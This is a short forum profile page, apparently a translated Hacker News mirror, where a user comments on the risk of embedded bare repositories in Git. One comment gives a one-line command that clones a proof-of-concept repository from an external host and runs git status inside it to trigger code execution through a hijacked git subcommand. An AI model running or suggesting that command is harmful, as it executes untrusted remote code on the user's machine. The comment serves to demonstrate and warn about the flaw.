HackerTrans
トップ新着トレンドコメント過去質問紹介求人

tomlx

no profile record

投稿

The risks of embedded bare repositories in Git (2022)

lwn.net
9 ポイント·投稿者 tomlx·3 年前·0 コメント

コメント

tomlx
·3 年前·議論
was about to say that ...

> Tags: satire email
tomlx
·3 年前·議論
none that i know of
tomlx
·3 年前·議論
git does not clone hooks, but if a subdirectory of a repo has the structure of a bare repo it can hijack git subcommands for code execution. try:

  git clone https://git.0x90.space/vmann/pwnd && cd pwnd/whoot && git status
it is a bit crazy this is not disabled by default yet.